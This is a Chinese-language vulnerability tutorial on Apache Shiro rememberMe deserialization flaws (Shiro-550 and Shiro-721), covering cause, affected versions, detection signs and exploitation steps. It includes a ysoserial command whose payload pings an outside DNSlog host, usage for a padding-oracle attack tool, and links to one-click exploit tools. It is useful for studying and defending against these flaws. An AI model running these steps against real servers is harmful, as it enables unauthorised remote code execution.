🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
[TOC] # Shiro rememberMe反序列化漏洞(Shiro-550) ## 漏洞描述 Apache Shiro是一款开源强大且易用的Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。 ## 影响版本 Apache Shiro <= 1.2.4 ## 靶场环境 Apache Shiro 1.2.4:[https://vulhub.org/#/environments/shiro/CVE-2016-4437/](https://vulhub.org/#/environments/shiro/CVE-2016-4437/) ## 漏洞分析 **Apache Shiro如何记住我?** 1.序列化用户身份对象.(这里为SimplePrincipalCollection) 2.对序列化后的数据进行AES加密,密钥为常量. 3.base64编码 4.设置到cookie中,cookie name等于rememberMe. **Apache Shiro如何解析我?** 1.读取cookie中的rememberMe的值. 2.对其值进行base64解码. 3.AES解密 4.反序列化 ## 如何攻击? 手动构造一个反序列化 payload,进行AES加密(密钥我们知道的)和base64编码,即可在反序列化时执行任何操作. 整体流程就是:命令 => 序列化 =>AES加密 => base64编码 => RememberMe Cookie值 => base64解密 => AES解密 => 反序列化 => 执行命令 ## 漏洞特征 **第一种情况** 返回包中含有`rememberMe=deleteMe`这个字段(因为shiro本身功能就是一个身份验证管理,所一般在登录口可以看到)。 **第二种情况** 直接发送原数据包,返回的数据中不存在关键字 可以通过在发送数据包的cookie中增加字段:`rememberMe=deleteMe` 然后查看返回数据包中是否存在关键字。 # 一句话流量特征 **shrio550流量特征(命令没有回显)** ~~~ 将poyload进行加密,并赋给rememberme rememberme的数据要比正常的长 如果将数据进行了缩短的话,可以到在线解密的网站进行解密,观察poyload中的危险函数,例如runtime ~~~ # Shiro Padding Oracle Attack(Shiro-721) ## 漏洞原理 由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。 ## 影响版本 Apache Shiro < 1.4.2版本 ## 漏洞利用 1. 登录Shiro网站,从cookie中获得rememberMe字段的值。 ![](https://img.kancloud.cn/00/75/0075b016d215343cbc0a494e26b54834_998x157.png) 2. 利用DNSlog探测,通过ysoserial工具payload。 ``` java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class ``` 3. 使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。 github项目地址:[https://github.com/longofo/PaddingOracleAttack-Shiro-721](https://github.com/longofo/PaddingOracleAttack-Shiro-721) 使用示例: ``` java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath ``` ![](https://img.kancloud.cn/f4/fc/f4fce62abaa9173372d168b15922bed5_1021x134.png) 爆破成功,输出Result: ![](https://img.kancloud.cn/b3/06/b306d02dec0a7152334fd27194c9a499_1011x373.png) 4. 使用构造的rememberMe攻击字符串重新请求网站 ![](https://img.kancloud.cn/3e/a8/3ea8d9fe848f50a9cf99f0661a886825_511x401.png) ![](https://img.kancloud.cn/f6/79/f679970d1b743cfb45183626dea461f8_502x404.png) 5. 成功触发Payload,在DNSLog获取到目标IP。 ![](https://img.kancloud.cn/ac/ff/acfffa2b27765577910b2791fbf9e869_764x458.png) # 一键自动化漏洞利用工具 ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。 Github项目地址:[https://github.com/feihong-cs/ShiroExploit](https://github.com/feihong-cs/ShiroExploit) * Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。 ![](https://img.kancloud.cn/b0/3e/b03e85550e7b7f0c6c59f9d116cdcddb_991x718.png) * Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型。 ![](https://img.kancloud.cn/cc/2e/cc2efc1d06546ffdfbc2e9dcda3f75b2_993x721.png)